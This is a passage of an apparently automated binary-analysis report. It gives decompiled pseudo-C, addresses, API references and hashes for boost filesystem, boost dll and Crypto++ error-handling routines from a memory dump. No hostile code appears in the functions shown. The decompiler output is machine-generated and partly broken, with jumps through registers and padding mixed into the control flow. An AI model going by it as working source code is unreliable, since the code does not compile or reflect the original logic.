											}
										}
									}
								} else {
									_t71 = _t96;
									if(_t90 >= 0x10) {
										_t71 =  *_t96;
									}
									 *(_t96 + 0x10) = _t84;
									 *((char*)(_t71 + _t84)) = 0;
									continue;
								}
							} else {
								_t87 = _t96;
								if(_t90 >= 0x10) {
									_t87 =  *_t96;
								}
								if( *((char*)(_t87 + _t60 - 1)) != 0xd) {
									break;
								} else {
									goto L10;
								}
							}
							goto L31;
						}
						L20:
						 *[fs:0x0] = _v16;
						return _t93;
					}
				}
				L31:
			}

0x000557b0
0x000557b3
0x000557b5
0x000557c0
0x000557c1
0x000557c4
0x000557c7
0x000557ce
0x000557d2
0x000557d8
0x000557db
0x000557dd
0x000557e0
0x000557e3
0x000557e8
0x000557ef
0x000557f2
0x000557f5
0x000557fd
0x00055803
0x00055806
0x0005580d
0x00055814
0x00055817
0x0005581b
0x00055820
0x000558fc
0x00055905
0x00000000
0x00055826
0x00055843
0x000558af
0x000558b4
0x000558b9
0x000558bc
0x000558e3
0x000558ea
0x000558f5
0x000558be
0x000558be
0x000558c1
0x000558c4
0x000558c7
0x000558c9
0x000558c9
0x000558cd
0x000558d5
0x000558dd
0x000558dd
0x00000000
0x00055845
0x0005584a
0x00055852
0x00055860
0x00055860
0x00055865
0x00000000
0x00000000
0x0005586b
0x0005586e
0x00055873
0x00055875
0x00055875
0x0005587c
0x00055892
0x00055892
0x00055892
0x00055897
0x0005592b
0x00055930
0x00055931
0x00055932
0x00055933
0x00055934
0x00055935
0x00055936
0x00055937
0x00055938
0x00055939
0x0005593a
0x0005593b
0x0005593c
0x0005593d
0x0005593e
0x0005593f
0x00055940
0x00055941
0x00055943
0x00055949
0x0005594c
0x0005594f
0x00055979
0x00055979
0x00055983
0x0005598a
0x0005598f
0x0005599e
0x00055951
0x00055951
0x00055954
0x00055955
0x0005595b
0x0005596f
0x0005596f
0x00055971
0x00055976
0x00000000
0x0005595d
0x0005595d
0x00055960
0x00055968
0x0005596b
0x0005599f
0x000559a4
0x000559a5
0x000559a6
0x000559a7
0x000559a8
0x000559a9
0x000559aa
0x000559ab
0x000559ac
0x000559ad
0x000559ae
0x000559af
0x000559b0
0x000559b4
0x000559b7
0x00000000
0x000559b9
0x000559bb
0x0005596d
0x0005596d
0x00000000
0x0005596d
0x0005596b
0x0005595b
0x0005589d
0x0005589d
0x000558a2
0x000558a4
0x000558a4
0x000558a6
0x000558a9
0x00000000
0x000558a9
0x0005587e
0x0005587e
0x00055883
0x00055885
0x00055885
0x0005588c
0x00000000
0x00000000
0x00000000
0x00000000
0x0005588c
0x00000000
0x0005587c
0x00055915
0x0005591a
0x00055928
0x00055928
0x00055843
0x00000000

APIs

FormatMessageA.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 0005583B
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 00055852

Strings

boost::interprocess_exception::library_error, xrefs: 000558FE
WinApi FormatMessage returned error, xrefs: 000558CF, 000558E5

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FormatFreeLocalMessage
String ID: WinApi FormatMessage returned error$boost::interprocess_exception::library_error
API String ID: 1427518018-391267213
Opcode ID: d7038f4653d3498f09fc5cf4b5d8775a1e92264dec62d42994fd0b0ef11f3ad2
Instruction ID: d04c05e25279d9ed2c64a999cb58e73d74b8a05b3e705fdb1d7f030ad3a3f962
Opcode Fuzzy Hash: d7038f4653d3498f09fc5cf4b5d8775a1e92264dec62d42994fd0b0ef11f3ad2
Instruction Fuzzy Hash: E641E170600B01EFE724CF24CC58B6ABBE1FB49712F10461DE845AB6C1DB75A948CB91

Uniqueness

Uniqueness Score: 100.00%

Function 000AA7C0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133
UNIQUE

Download Yara Rule

C-Code - Quality: 39%

			E000AA7C0(void* __edi, intOrPtr* _a4, intOrPtr _a8, signed int _a12) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v100;
				intOrPtr _v104;
				char _v116;
				signed int _v124;
				WCHAR* _v128;
				char _v140;
				signed int _t32;
				signed int _t33;
				void* _t41;
				WCHAR* _t47;
				signed int _t49;
				signed int _t51;
				signed int _t60;
				signed char _t62;
				signed int _t65;
				intOrPtr* _t81;
				long _t84;
				WCHAR* _t86;
				signed int _t94;
				void* _t95;

				_t92 = _t94;
				_push(0xffffffff);
				_push(0x133e28);
				_push( *[fs:0x0]);
				_t95 = _t94 - 0x64;
				_t32 =  *0x16f170; // 0xd529e887
				_t33 = _t32 ^ _t94;
				_v20 = _t33;
				_push(__edi);
				_push(_t33);
				 *[fs:0x0] =  &_v16;
				_t81 = _a4;
				_t60 = _a12;
				_v104 = _a8;
				_t84 = GetLastError();
				if(_t60 != 0) {
					E000A97F0(_t60, _t84, 0x1522a0);
				}
				if(_t84 == 2 || _t84 == 3 || _t84 == 0x7b || _t84 == 0xf || _t84 == 0x15 || _t84 == 0x57 || _t84 == 0xa1 || _t84 == 0x35) {
					 *_t81 = 1;
					 *((intOrPtr*)(_t81 + 4)) = 0;
					goto L15;
				} else {
					if(_t84 != 0x20) {
						__eflags = _t60;
						if(_t60 == 0) {
							E00064B00( &_v44, "boost::filesystem::status");
							_v8 = 0;
							_t41 = E00053920( &_v116, _t84, E00053900());
							asm("movq xmm0, [eax]");
							_push(_v104);
							asm("movq [ecx], xmm0");
							 *((intOrPtr*)(_t95 - 0xc + 8)) =  *((intOrPtr*)(_t41 + 8));
							_push( &_v44);
							E000A92E0( &_v100, __eflags);
							E001047B7( &_v100, 0x16d264);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t60);
							_push(_t84);
							_t86 = _v128;
							_t47 = _t86;
							__eflags = _t86[0xa] - 8;
							if(_t86[0xa] >= 8) {
								_t47 =  *_t86;
							}
							_t62 = GetFileAttributesW(_t47);
							__eflags = _t62 - 0xffffffff;
							if(_t62 != 0xffffffff) {
								_t49 = _v124;
								__eflags = _t49;
								if(_t49 != 0) {
									 *_t49 = 0;
									 *((char*)(_t49 + 4)) = 0;
									 *((intOrPtr*)(_t49 + 8)) = 0x1522a0;
								}
								__eflags = _t62 & 0x00000400;
								if((_t62 & 0x00000400) == 0) {
									_t65 = (_t62 & 0x00000010 | 0x00000020) >> 4;
									__eflags = _t65;
									return _t65;
								} else {
									_t51 = E000AA410(_t86);
									__eflags = _t51;
									if(_t51 == 0) {
										return 9;
									} else {
										__eflags = _t62 & 0x00000010;
										_t54 =  !=  ? 0xb : 4;
										return  !=  ? 0xb : 4;
									}
								}
							} else {
								return  *((intOrPtr*)(E000AA7C0(_t81,  &_v140, _t86, _v124)));
							}
						} else {
							 *_t81 = 0;
							 *((intOrPtr*)(_t81 + 4)) = 0xffff;
							goto L15;
						}
					} else {
						 *_t81 = 0xa;
						 *((intOrPtr*)(_t81 + 4)) = 0xffff;
						L15:
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t92);
					}
				}
			}

0x000aa7c1
0x000aa7c3
0x000aa7c5
0x000aa7d0
0x000aa7d1
0x000aa7d4
0x000aa7d9
0x000aa7db
0x000aa7e0
0x000aa7e1
0x000aa7e5
0x000aa7ee
0x000aa7f1
0x000aa7f4
0x000aa7fd
0x000aa801
0x000aa80b
0x000aa80b
0x000aa813
0x000aa862
0x000aa868
0x00000000
0x000aa83b
0x000aa83e
0x000aa84f
0x000aa851
0x000aa895
0x000aa89a
0x000aa8ab
0x000aa8b5
0x000aa8bc
0x000aa8bf
0x000aa8c3
0x000aa8c9
0x000aa8cd
0x000aa8db
0x000aa8e0
0x000aa8e1
0x000aa8e2
0x000aa8e3
0x000aa8e4
0x000aa8e5
0x000aa8e6
0x000aa8e7
0x000aa8e8
0x000aa8e9
0x000aa8ea
0x000aa8eb
0x000aa8ec
0x000aa8ed
0x000aa8ee
0x000aa8ef
0x000aa8f3
0x000aa8f4
0x000aa8f5
0x000aa8f9
0x000aa8fb
0x000aa8ff
0x000aa901
0x000aa901
0x000aa90a
0x000aa90c
0x000aa90f
0x000aa92b
0x000aa92f
0x000aa931
0x000aa933
0x000aa939
0x000aa93d
0x000aa93d
0x000aa944
0x000aa94a
0x000aa980
0x000aa980
0x000aa98a
0x000aa94c
0x000aa94d
0x000aa955
0x000aa957
0x000aa979
0x000aa959
0x000aa959
0x000aa967
0x000aa96e
0x000aa96e
0x000aa957
0x000aa911
0x000aa92a
0x000aa92a
0x000aa853
0x000aa853
0x000aa859
0x00000000
0x000aa859
0x000aa840
0x000aa840
0x000aa846
0x000aa86f
0x000aa874
0x000aa88c
0x000aa88c
0x000aa83e

APIs

GetLastError.KERNEL32(D529E887,?,?,00000000), ref: 000AA7F7

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000AA8DB

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000AA410: CreateFileW.KERNEL32(000000FF,00000008,00000007,00000000,00000003,02200000,00000000), ref: 000AA453
Part of subcall function 000AA410: DeviceIoControl.KERNEL32(00000000,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 000AA49A
Part of subcall function 000AA410: CloseHandle.KERNEL32(00000000), ref: 000AA4D4

GetFileAttributesW.KERNEL32(?,?,00000000,?,00000000), ref: 000AA904

Strings

boost::filesystem::status, xrefs: 000AA88D

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: File$AttributesCloseControlCreateDeviceErrorExceptionException@8FeatureHandleLastPresentProcessorRaiseThrow___raise_securityfailure
String ID: boost::filesystem::status
API String ID: 2812220395-3746320807
Opcode ID: 6a012ae37c0b2d153ab10ce9614d09449e5256a9ffef313c3ca807b896432b1e
Instruction ID: 52adf844a535b79736760e0abd4b1f04377e0e1fb97e23509171e331b7a38962
Opcode Fuzzy Hash: 6a012ae37c0b2d153ab10ce9614d09449e5256a9ffef313c3ca807b896432b1e
Instruction Fuzzy Hash: F1419272E003159BDB20AFA8DC85AEEF7F4EF07710F14012AE815A7291EB789D45C792

Uniqueness

Uniqueness Score: 100.00%

Function 000B00A0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 123
UNIQUE

Download Yara Rule

C-Code - Quality: 80%

			E000B00A0(intOrPtr* __ecx, intOrPtr _a4, signed int _a8) {
				char _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				void* _v24;
				signed int _v28;
				intOrPtr _v32;
				char _v44;
				char _v84;
				char _v108;
				char _v132;
				char _v156;
				char _v180;
				void* _v200;
				char _v204;
				void* _v208;
				intOrPtr _v212;
				void* _v216;
				signed int _v220;
				void* __ebx;
				void* __edi;
				signed int _t49;
				signed int _t50;
				void* _t59;
				void* _t61;
				void* _t63;
				void* _t65;
				void* _t67;
				signed int _t71;
				void* _t72;
				void* _t77;
				intOrPtr* _t86;
				void* _t87;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t110;
				void* _t114;
				signed int _t118;
				void* _t119;
				void* _t120;
				signed int _t123;
				void* _t125;
				void* _t126;
				void* _t128;
				void* _t129;

				_push(0xffffffff);
				_push(0x134a11);
				_push( *[fs:0x0]);
				_t126 = _t125 - 0xc4;
				_t49 =  *0x16f170; // 0xd529e887
				_t50 = _t49 ^ _t123;
				_v20 = _t50;
				_push(_t109);
				_push(_t50);
				 *[fs:0x0] =  &_v16;
				_t86 = __ecx;
				_t118 = _a8;
				_v212 = _a4;
				if(_t118 >  *((intOrPtr*)( *__ecx + 0x20))()) {
					_t119 = E000AD820(__ecx, _t104,  &_v44, _t118, 0xa);
					_v8 = 0;
					_t59 = E000AD820(_t86,  *_t86,  &_v108,  *((intOrPtr*)( *_t86 + 0x20))(), 0xa);
					_v8 = 1;
					_t61 = E0006CC90( &_v132, "HashTransformation: can\'t truncate a ", _t59);
					_v8 = 2;
					_t63 = E0006CBA0( &_v156, _t61, " byte digest to ");
					_v8 = 3;
					_t65 = E00093360( &_v180, _t63, _t119);
					_v8 = 4;
					_t67 = E0006CBA0( &_v204, _t65, " bytes");
					_t128 = _t126 + 0x48;
					_v8 = 5;
					E00059080(_t67);
					E001047B7( &_v84, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t123);
					_t129 = _t128 - 0xc;
					_push(_t86);
					_t87 = _v200;
					_t71 =  &_v84;
					_push(_t119);
					_push(_t109);
					_v220 = _t71;
					_t110 =  *(_t71 + 8);
					_t120 =  *(_t71 + 0xc);
					_v216 = _t110;
					__eflags = _t110 - _t87;
					if(_t110 != _t87) {
						__eflags = _t87;
						if(__eflags != 0) {
							_t72 = E000B3DE0(_t110, __eflags, _t87);
							_t129 = _t129 + 4;
						} else {
							_t72 = 0;
						}
						__eflags = _t87 - _t110;
						_v12 = _t72;
						_t107 =  <  ? _t87 : _t110;
						__eflags = _t120;
						if(_t120 != 0) {
							__eflags = _t72;
							if(_t72 != 0) {
								E000B0290(_t72, _t107, _t120, _t107);
								_t129 = _t129 + 0x10;
							}
						}
						__eflags = 0;
						memset(_t120, 0, _v16 << 0);
						L000B3E40(_t120);
						_t120 = _v12;
						_t71 = _v20;
					}
					 *(_t71 + 0xc) = _t120;
					 *(_t71 + 8) = _t87;
					 *((intOrPtr*)(_t71 + 4)) = 0xffffffff;
					return _t71;
				} else {
					_v32 = 0xffffffff;
					_v28 = _t118;
					if(_t118 != 0) {
						_t77 = E000B3DE0(_t109, __eflags, _t118);
						_t126 = _t126 + 4;
						_v208 = _t77;
						_t114 = _t77;
					} else {
						_t114 = 0;
						_v208 = 0;
					}
					_v24 = _t114;
					_v8 = 7;
					 *((intOrPtr*)( *((intOrPtr*)( *_t86 + 0x3c))))(_t118);
					E000B3E50(_t114, _v212, _t118);
					_v8 = 8;
					memset(_t114, 0, _t118 << 0);
					L000B3E40(_v208);
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t123, _t114);
				}
			}

0x000b00a3
0x000b00a5
0x000b00b0
0x000b00b1
0x000b00b7
0x000b00bc
0x000b00be
0x000b00c3
0x000b00c4
0x000b00c8
0x000b00ce
0x000b00d3
0x000b00d6
0x000b00e3
0x000b0180
0x000b0188
0x000b0197
0x000b01a0
0x000b01aa
0x000b01bb
0x000b01c0
0x000b01cd
0x000b01d2
0x000b01e3
0x000b01e8
0x000b01ed
0x000b01f4
0x000b01f8
0x000b0206
0x000b020b
0x000b020c
0x000b020d
0x000b020e
0x000b020f
0x000b0210
0x000b0213
0x000b0216
0x000b0217
0x000b021a
0x000b021c
0x000b021d
0x000b021e
0x000b0221
0x000b0224
0x000b0227
0x000b022a
0x000b022c
0x000b022e
0x000b0230
0x000b0237
0x000b023c
0x000b0232
0x000b0232
0x000b0232
0x000b023f
0x000b0241
0x000b0246
0x000b0249
0x000b024b
0x000b024d
0x000b024f
0x000b0255
0x000b025a
0x000b025a
0x000b024f
0x000b0260
0x000b0264
0x000b0267
0x000b026c
0x000b0272
0x000b0272
0x000b0276
0x000b027a
0x000b027d
0x000b0288
0x000b00e9
0x000b00e9
0x000b00f0
0x000b00f5
0x000b0102
0x000b0107
0x000b010a
0x000b0110
0x000b00f7
0x000b00f7
0x000b00f9
0x000b00f9
0x000b0112
0x000b0119
0x000b0125
0x000b012f
0x000b013e
0x000b0147
0x000b0149
0x000b0156
0x000b016e
0x000b016e

APIs

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000B0206

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

byte digest to , xrefs: 000B01AF
bytes, xrefs: 000B01D7
HashTransformation: can't truncate a , xrefs: 000B01A4

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: byte digest to $ bytes$HashTransformation: can't truncate a
API String ID: 654547538-1139078987
Opcode ID: 41263c74b359740a27605927acde8c027d1400ccbe1b4a7cd94d8d93b383d279
Instruction ID: 618527c81b9ce59d22db5f074b96d77798c34f2ce75978ec550fd60dfe55fc8e
Opcode Fuzzy Hash: 41263c74b359740a27605927acde8c027d1400ccbe1b4a7cd94d8d93b383d279
Instruction Fuzzy Hash: FF418F71E00258AFDB10DBA4CC45FEFBBB8EF59314F0045AAF519A7282DB745A048BA1

Uniqueness

Uniqueness Score: 37.75%

Function 000B2060, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115
UNIQUE

Download Yara Rule

C-Code - Quality: 31%

			E000B2060(void* __ebx, intOrPtr* __ecx, intOrPtr _a4) {
				intOrPtr _v0;
				char _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v84;
				signed int _v109;
				char _v112;
				signed int _t30;
				signed int _t31;
				signed char _t43;
				intOrPtr _t50;
				intOrPtr* _t54;
				intOrPtr* _t73;
				char* _t74;
				intOrPtr* _t78;
				intOrPtr* _t79;
				signed int _t82;

				_push(0xffffffff);
				_push(0x134d48);
				_push( *[fs:0x0]);
				_t30 =  *0x16f170; // 0xd529e887
				_t31 = _t30 ^ _t82;
				_v20 = _t31;
				_push(_t31);
				 *[fs:0x0] =  &_v16;
				_t73 = __ecx;
				_t54 = __ecx + 0x20;
				_push(_t54);
				_push(__ecx + 0x1c);
				_t78 = __ecx + 0x18;
				_push(_t78);
				_push(_a4);
				 *((intOrPtr*)( *__ecx + 0xd0))();
				_t35 =  *_t78;
				if( *_t78 == 0xffffffff ||  *((intOrPtr*)(__ecx + 0x1c)) < 1 ||  *_t54 == 0xffffffff) {
					E00064B00( &_v44, "FilterWithBufferedInput: invalid buffer size");
					_v8 = 0;
					E00059080( &_v44);
					E001047B7( &_v84, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t79 = _v112;
					_t74 =  &_v84;
					_t43 =  *((intOrPtr*)( *((intOrPtr*)( *_t79 + 4))))("PutMessage", 0x176030,  &_v109, _t73, _t78, _t82);
					_push( &_v112);
					asm("sbb al, al");
					 *(_t74 + 0x30) =  ~_t43 & _v109;
					_push(0x174650);
					_push("TruncatedDigestSize");
					if( *((intOrPtr*)( *((intOrPtr*)( *_t79 + 4))))() == 0) {
						L7:
						_t50 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t74 + 0x2c)))) + 0x20))();
					} else {
						_t50 = _v0;
						if(_t50 < 0) {
							goto L7;
						}
					}
					 *((intOrPtr*)(_t74 + 0x34)) = _t50;
					return _t50;
				} else {
					E000B3640(__ecx + 0x28, 1, _t35);
					 *((char*)(_t73 + 0x24)) = 0;
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t82);
				}
			}

0x000b2063
0x000b2065
0x000b2070
0x000b2074
0x000b2079
0x000b207b
0x000b2081
0x000b2085
0x000b208b
0x000b208f
0x000b2098
0x000b2099
0x000b209a
0x000b209f
0x000b20a0
0x000b20a1
0x000b20a7
0x000b20ac
0x000b20ee
0x000b20f6
0x000b2101
0x000b210f
0x000b2114
0x000b2115
0x000b2116
0x000b2117
0x000b2118
0x000b2119
0x000b211a
0x000b211b
0x000b211c
0x000b211d
0x000b211e
0x000b211f
0x000b2124
0x000b2128
0x000b213f
0x000b2146
0x000b2147
0x000b214e
0x000b2153
0x000b2158
0x000b2164
0x000b216d
0x000b2172
0x000b2166
0x000b2166
0x000b216b
0x00000000
0x00000000
0x000b216b
0x000b2175
0x000b217b
0x000b20b9
0x000b20bf
0x000b20c4
0x000b20cb
0x000b20e3
0x000b20e3

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000B210F

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

TruncatedDigestSize, xrefs: 000B2158
FilterWithBufferedInput: invalid buffer size, xrefs: 000B20E6
PutMessage, xrefs: 000B2137

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID: FilterWithBufferedInput: invalid buffer size$PutMessage$TruncatedDigestSize
API String ID: 3939691812-3547780871
Opcode ID: 0d1f2c54bc47a188091220a3bf8380e3cfef871da8831795d2d9d0f895691391
Instruction ID: a0dcb8ab47a642dde6a15881f1a9694dc327663f3a6c614664e0d60d19336c3b
Opcode Fuzzy Hash: 0d1f2c54bc47a188091220a3bf8380e3cfef871da8831795d2d9d0f895691391
Instruction Fuzzy Hash: C031B271600208AFCB14DF98DC85EEABBB8FF59760F00462AF91997681DB70B944CBD0

Uniqueness

Uniqueness Score: 100.00%

Function 000AFD00, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
UNIQUE

Download Yara Rule

C-Code - Quality: 48%

			E000AFD00(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v60;
				char _v84;
				char _v108;
				char _v132;
				char _v156;
				char _v180;
				char _v204;
				signed int _t27;
				signed int _t28;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t42;
				void* _t44;
				void* _t49;
				intOrPtr _t66;
				intOrPtr* _t68;
				void* _t72;
				intOrPtr* _t73;
				signed int _t77;

				_push(0xffffffff);
				_push(0x134999);
				_push( *[fs:0x0]);
				_t27 =  *0x16f170; // 0xd529e887
				_t28 = _t27 ^ _t77;
				_v20 = _t28;
				_push(_t28);
				 *[fs:0x0] =  &_v16;
				_t68 = __ecx;
				_t71 = _a4;
				if(_a4 >  *((intOrPtr*)( *__ecx + 0x20))()) {
					_t72 = E000AD820(__ebx, __edx,  &_v84, _t71, 0xa);
					_v8 = 0;
					_t36 = E000AD820(__ebx,  *_t68,  &_v108,  *((intOrPtr*)( *_t68 + 0x20))(), 0xa);
					_v8 = 1;
					_t38 = E0006CC90( &_v132, "HashTransformation: can\'t truncate a ", _t36);
					_v8 = 2;
					_t40 = E0006CBA0( &_v156, _t38, " byte digest to ");
					_v8 = 3;
					_t42 = E00093360( &_v180, _t40, _t72);
					_v8 = 4;
					_t44 = E0006CBA0( &_v204, _t42, " bytes");
					_v8 = 5;
					E00059080(_t44);
					E001047B7( &_v60, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t73 =  &_v60;
					_t49 =  *((intOrPtr*)( *_t73 + 0xa4))(_t72);
					_t66 =  *_t73;
					if(_t49 == 0) {
						goto __eax;
					}
					_t66 =  *((intOrPtr*)( *((intOrPtr*)(_t66 + 0xa4))()));
					goto __eax;
				}
				 *[fs:0x0] = _v16;
				return E000ECED8(_v20 ^ _t77);
			}

0x000afd03
0x000afd05
0x000afd10
0x000afd17
0x000afd1c
0x000afd1e
0x000afd23
0x000afd27
0x000afd2d
0x000afd31
0x000afd39
0x000afd67
0x000afd6f
0x000afd7e
0x000afd87
0x000afd91
0x000afda2
0x000afda7
0x000afdb4
0x000afdb9
0x000afdca
0x000afdcf
0x000afddb
0x000afddf
0x000afded
0x000afdf2
0x000afdf3
0x000afdf4
0x000afdf5
0x000afdf6
0x000afdf7
0x000afdf8
0x000afdf9
0x000afdfa
0x000afdfb
0x000afdfc
0x000afdfd
0x000afdfe
0x000afdff
0x000afe01
0x000afe05
0x000afe0b
0x000afe11
0x000afe27
0x000afe27
0x000afe1c
0x000afe21
0x000afe21
0x000afd3e
0x000afd55

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000AFDED

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

byte digest to , xrefs: 000AFD96
bytes, xrefs: 000AFDBE
HashTransformation: can't truncate a , xrefs: 000AFD8B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID: byte digest to $ bytes$HashTransformation: can't truncate a
API String ID: 3939691812-1139078987
Opcode ID: ce327508a704e226c00e4c6b6cf9f1c2a4c0060cc601d5d1511ff2912ac02fc3
Instruction ID: 198f4583dfbca986fc375327ad9d3d5dede10b92f090e23abe5cc0e535152c87
Opcode Fuzzy Hash: ce327508a704e226c00e4c6b6cf9f1c2a4c0060cc601d5d1511ff2912ac02fc3
Instruction Fuzzy Hash: 34318275A04258EFDB10DBA4D845FDEBBBCEF49310F044166F545E7282DB74AA048BA0

Uniqueness

Uniqueness Score: 37.75%

Function 0008EE00, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103
libraryloaderUNIQUE

Download Yara Rule

C-Code - Quality: 29%

			E0008EE00(struct HINSTANCE__** __ecx, void* __edi, void* __esi, CHAR* _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v68;
				intOrPtr _v72;
				char _v76;
				long _v80;
				intOrPtr _v84;
				char _v92;
				intOrPtr* _v96;
				void* __ebp;
				signed int _t23;
				signed int _t24;
				struct HINSTANCE__* _t26;
				void* _t28;
				void* _t30;
				long _t32;
				signed int _t35;
				signed int _t36;
				void* _t42;
				intOrPtr* _t48;
				CHAR* _t56;
				void* _t59;
				intOrPtr* _t60;
				signed int _t62;
				void* _t64;
				signed int _t65;

				_t59 = __esi;
				_t58 = __edi;
				_push(0xffffffff);
				_push(0x130ac8);
				_push( *[fs:0x0]);
				_t65 = _t64 - 0x40;
				_t23 =  *0x16f170; // 0xd529e887
				_t24 = _t23 ^ _t62;
				_v20 = _t24;
				_push(_t24);
				 *[fs:0x0] =  &_v16;
				_t26 =  *__ecx;
				_t56 = _a4;
				if(_t26 == 0) {
					_t28 = E00053920( &_v80, 9, E00053910());
					_push("boost::dll::shared_library::get() failed: no library was loaded");
					_t65 = _t65 - 0xc;
					asm("movq xmm0, [eax]");
					asm("movq [ecx], xmm0");
					 *((intOrPtr*)(_t65 + 8)) =  *((intOrPtr*)(_t28 + 8));
					_t30 = E00054760( &_v68);
					_v8 = 0;
